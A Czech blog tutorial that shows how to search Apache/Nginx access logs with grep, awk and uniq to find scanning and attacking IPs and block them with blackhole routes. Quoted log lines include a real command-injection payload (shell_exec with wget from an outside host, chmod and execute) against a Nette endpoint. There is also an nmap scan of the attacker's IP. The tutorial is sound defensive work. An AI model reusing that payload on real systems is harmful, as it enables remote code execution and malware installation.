Dnes se podíváme na to, jak pomocí pár základních příkazů v Linuxu prohledat logy Apache nebo Nginx a najít zdroj útoků na prezentaci.
Co budeme potřebovat? S přehledem si vystačíme s příkazy awk, cat, grep, ip, sort, tail, uniq, wc, whois a xargs.
Tak a pojďme na to.
Dejme tomu, že logy Apache máme v nějakém adresáři /var/log/apache2/neco/neco2/neco3/neco4/neco5/ a tam máme X různých access logů. Takže pro účely hledání to zjednodušíme na /var/log/apache2/*/*/*/*/*/a*
Také to můžete být třeba jenom jeden log Nginx např. /var/log/nginx/access.log
Pokud provozujeme desítky WordPress prezentací, tak server spolehlivě přetíží hledání neexistujícího obsahu. WordPress pro každou 404 stránku generuje obsah jako pro jakoukoli jinou stránku. Bez rozumné cache spolehlivě uštvete databázi.
Takže se pojďme podívat na vyhledání 404 v logu.
Protože mám nastavený “custom” tvar logu, tak je potřeba se napřed podívat co v tom logu vlastně je – např.:
sxxxxxxxxxxa.cz 216.244.66.199 - - [25/Feb/2022:13:52:32 +0100] "GET /robots.txt HTTP/1.1" 200 101 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)"
Co nás z toho zajímá? První sloupec je název domény (název jsem pozměnil), druhý IP ze které přišel požadavek, osmý je požadovaný soubor, desátý je status code.
Takže můžeme spustit např.
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a*
V mém případě je výsledek 9742 vypsaných řádků a to rozhodně procházet nehodlám.
Můžeme odstranit z výsledků nejčastější neexistující soubory (rychlým pohledem na výpis tam mám /favicon.ico a /robots.txt). Takže např. můžeme pustit:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt
Výsledek má 8119 řádků, takže tudy cesta nevede.
Tak pojďme počítat. Ve druhém sloupci máme IP ze které přišel požadavek. Tady se nám hodí awk. Použijeme awk ‚{print $2}‘, což nám vypíše pouze obsah druhého sloupce. Pak výsledek seřadíme, spočítáme unikátní výsledky a nakonec seřadíme vzestupně. Výsledný příkaz vypadá následovně:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n
V mém případě to je 573 řádků, tak si vypíšeme jenom pár posledních pomocí tail:
grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail
# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep -v favicon.ico | grep -v robots.txt | awk '{print $2}' | sort | uniq -c | sort -n | tail
49 45.146.165.37
49 54.174.1.89
59 213.155.230.216
66 87.251.85.227
68 5.188.62.214
85 103.1.212.247
99 51.91.7.5
976 118.175.245.202
2369 46.101.63.152
2508 89.201.119.99
Tady už máme první použitelné výsledky. Podíváme se do logu, co za požadavky chodí z IP 89.201.119.99. Protože nás v zásadě nezajímá ve kterém z logů se ta IP vyskytuje, použijeme parametr -h u příkazu grep:
# grep -h 89.201.119.99 /var/log/apache2/*/*/*/*/*/a* | tail
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:18 +0100] "GET /db/websql/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /phpMyAdmin-5.1.1-english/index.php?lang=en HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:19 +0100] "GET /mysql/db/index.php?lang=en HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /pma2014/index.php?lang=en HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:20 +0100] "GET /phpMyAdmin2/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /phpMyAdmin3/index.php?lang=en HTTP/1.1" 404 219 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:21 +0100] "GET /sql/webdb/index.php?lang=en HTTP/1.1" 404 217 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /administrator/web/index.php?lang=en HTTP/1.1" 404 225 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:22 +0100] "GET /db/phpMyAdmin-3/index.php?lang=en HTTP/1.1" 404 223 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
xxxxxxxxxhia.com 89.201.119.99 - - [25/Feb/2022:11:29:23 +0100] "GET /sqlmanager/index.php?lang=en HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36"
A zcela očekávaně jsme našli nějaký “scanner” který hledá na našem serveru zneužitelné skripty. Takže se podíváme komu ta IP patří:
# whois 89.201.119.99
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '89.201.112.0 - 89.201.119.255'
% Abuse contact for '89.201.112.0 - 89.201.119.255' is 'core@baltcom.lv'
inetnum: 89.201.112.0 - 89.201.119.255
netname: MBALT-NET
descr: MultitoneBalt
country: LV
admin-c: BTV777-RIPE
tech-c: BTV777-RIPE
status: ASSIGNED PA
mnt-by: BALTKOM-MNT
created: 2007-10-19T09:07:01Z
last-modified: 2013-01-03T09:26:40Z
source: RIPE
role: SIA Baltcom
address: Latvia, Riga, Maskavas 322
nic-hdl: BTV777-RIPE
mnt-by: BALTKOM-MNT
created: 2012-11-09T10:41:07Z
last-modified: 2021-12-09T09:25:07Z
source: RIPE # Filtered
abuse-mailbox: core@baltcom.lv
% Information related to '89.201.0.0/17AS20910'
route: 89.201.0.0/17
descr: BALTKOM
descr: Riga, Latvia
origin: AS20910
mnt-by: BALTKOM-MNT
created: 2006-05-15T14:44:07Z
last-modified: 2006-05-15T14:44:07Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.102.2 (HEREFORD)
Můžeme se podívat, co je to za stroj, co na něm běží a napsat e-mail na abuse contact, ale z mé mnohaleté zkušenosti můžu prohlásit, že je to ztráta času. Pokud vůbec někdo odpoví, tak maximálně to, že pokud nemám v ruce soudní příkaz, tak s tím nic nebudou dělat.
Takže čistě jenom pro zajímavost se podíváme, co na dané IP běží:
# nmap -sS 89.201.119.99
Starting Nmap 7.80 ( https://nmap.org ) at 2022-02-25 15:02 CET
Nmap scan report for 89.201.119.99
Host is up (0.036s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE
20/tcp closed ftp-data
21/tcp open ftp
22/tcp closed ssh
80/tcp open http
443/tcp open https
8080/tcp open http-proxy
8081/tcp open blackice-icecap
8899/tcp closed ospf-lite
Nmap done: 1 IP address (1 host up) scanned in 4.96 seconds
Takže viditelně nějaký VPS s nějakými weby. Další krok? Zablokovat IP na firewallu. Stejný postup použijeme pro další IP ze seznamu. Většinou je na první pohled vidět, o co se jedná:
# grep -h 118.175.245.202 /var/log/apache2/*/*/*/*/*/a* | tail
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:26 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 257 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 216 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /sql/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /SQL/index.php HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /websql/index.php HTTP/1.1" 404 214 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:27 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 218 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:28 +0100] "GET /manager/html HTTP/1.1" 404 210 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "POST /axis2/axis2-admin/login HTTP/1.1" 404 221 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /login HTTP/1.1" 404 203 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
xxxxxxxxxhia.com 118.175.245.202 - - [25/Feb/2022:08:48:29 +0100] "GET /jenkins/login HTTP/1.1" 404 211 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
Protože pro aktivní zneužití se nejčastěji využívaji POST požadavky, můžeme prohledat logy na výskyt 404 a POST (musel jsem vyloučit autodiscover.xml kvůli chybnému nastavení MS Exchange serveru na jedné z domén na serveru):
# grep "\" 404 " /var/log/apache2/*/*/*/*/*/a* | grep POST | grep -v autodiscover.xml | awk '{print $2}' | sort | uniq -c | sort -n | tail
2 95.80.217.226
3 185.19.1.114
3 91.102.224.108
3 91.102.224.113
4 15.188.158.194
4 176.98.43.37
5 2a00:19a0:3:72:0:d9c6:72b9:1
5 65.21.134.110
21 216.83.55.14
29 111.67.203.51
Ta čísla jsou řádově nižší, ale výsledky jsou užitečnější:
# grep -h 111.67.203.51 /var/log/apache2/cronolog-output/2022/*/*/*/a* | tail -n 30
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:45 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/12132**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11456**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/16791**
lixxxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 215 "-" "python-requests/2.27.1" **0/11702**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/29741**
lixxx.sk 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 40579 "-" "python-requests/2.27.1" **0/26362**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:47 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/24425**
lixxx.cz 111.67.203.51 - - [25/Feb/2022:14:29:48 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 43965 "-" "python-requests/2.27.1" **0/25277**
nidxxxr.cz 111.67.203.51 - - [25/Feb/2022:14:36:04 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 503 981 "-" "python-requests/2.27.1" **0/48295**
solaxxxal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 302 - "-" "python-requests/2.27.1" **0/11791**
solaxxxbal.cz 111.67.203.51 - - [25/Feb/2022:14:37:54 +0100] "GET / HTTP/1.1" 200 11757 "-" "python-requests/2.27.1" **0/32621**
zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:06 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/115705**
zixxxnn.cz 111.67.203.51 - - [25/Feb/2022:14:41:07 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 8019 "-" "python-requests/2.27.1" **0/20643**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 213 "-" "python-requests/2.27.1" **0/40948**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:23 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/65488**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:24 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/53445**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:25 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/76488**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:27 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 217 "-" "python-requests/2.27.1" **0/28420**
paxxxa.eu 111.67.203.51 - - [25/Feb/2022:14:41:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 404 250 "-" "python-requests/2.27.1" **0/54503**
csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:42:46 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/81350**
csxxxh.cz 111.67.203.51 - - [25/Feb/2022:14:43:10 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 500 718 "-" "python-requests/2.27.1" **0/68099**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:36 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 224 "-" "python-requests/2.27.1" **0/48305**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:37 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3802 "-" "python-requests/2.27.1" **0/36884**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:52 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 223 "-" "python-requests/2.27.1" **0/23975**
kanoxxxno.cz 111.67.203.51 - - [25/Feb/2022:14:46:53 +0100] "GET /nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 200 3804 "-" "python-requests/2.27.1" **0/36225**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:58 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 301 226 "-" "python-requests/2.27.1" **0/20194**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/nette.micro?callback=shell_exec&cmd=cd+%2Ftmp%3Bwget+http%3A%2F%2F82.157.176.42%3A7419%2Fbmw+%3Bchmod+777+bmw%3B.%2Fbmw HTTP/1.1" 302 113 "-" "python-requests/2.27.1" **0/34464**
sklxxat.cz 111.67.203.51 - - [25/Feb/2022:14:48:59 +0100] "GET /produkty/?_fid=8p29 HTTP/1.1" 200 7334 "-" "python-requests/2.27.1" **0/36501**
rezerxxxany.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 2410 "-" "python-requests/2.27.1" **0/56610**
edexxxxxny.cz 111.67.203.51 - - [25/Feb/2022:15:17:29 +0100] "GET /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://82.157.176.42:7419/bmw%20;chmod%20777%20bmw;./bmw HTTP/1.1" 404 4902 "-" "python-requests/2.27.1" **0/58858**
Podtrženo, sečteno, slepé útoky jsou velmi snadno odhalitelné a dá se jim dobře bránit. Pokud nemáte před svým serverem firewall, nebo nemáte možnost blokovat útoky na hraničním routeru, tak nejjednodušší cestou jak blokovat nežádoucí provoz je routovat provoz z útočníkovy IP do blackhole.
Takže z předchozího příkladu máme 100% vzor podle kterého můžeme blokovat útok. Vybereme požadavky z IP obsahující shell_exec a chmod.
# cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq -c | sort -n
24 219.77.31.84
28 209.141.32.37
55 111.67.203.51
86 103.172.125.63
430 2407:d340:f020::5b39:5962
Nic nám nebrání ty IP rovnou zablokovat:
Upravíme příkaz, tak aby nám zbyly jenom IP
cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq
a přidáme routovací pravidla do blackhole. Celé to pak vypadá následovně:
cat /var/log/apache2/*/*/*/*/*/a* | grep shell_exec | grep chmod | awk '{print $2}' | sort | uniq | xargs -n1 ip route add blackhole
Můžeme pro jistotu zkontrolovat, jestli to funguje:
# ip -6 route show | grep 2407:d340:f020::5b39:5962
blackhole 2407:d340:f020::5b39:5962 dev lo metric 1024 pref medium
Dva příkazy, co se můžou hodit. Odstraní všechny IPv6 a IPv4 z blackhole routingu:
ip -6 route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip -6 route del blackhole
ip route sh | grep blackhole | awk '{print $2}' | xargs -n1 ip route del blackhole
Na závěr snad jenom malé varování. Než pustíte jakýkoliv skript který přímo blokuje IP, prověřte že hledaný vzor je opravdu dostatečně unikátní.
Mohlo by vás také zajímat
-
Aukce CZ domén: Jak vydražit expirovanou CZ doménu?
12. června 2024 -
Nové AI modely od Open AI a Google
22. května 2024 -
10 nejpopulárnějších programovacích jazyků a jejich využití
9. listopadu 2023
Nejnovější
-
Windows App: Pracujte odkudkoliv, kdykoliv
3. listopadu 2024 -
Od iPhonu po Android: Ultra HDR přináší nový standard fotografií
1. listopadu 2024 -
AI a internetové podvody
29. října 2024 -
Užitečné nástroje pro bezpečnost na internetu
17. října 2024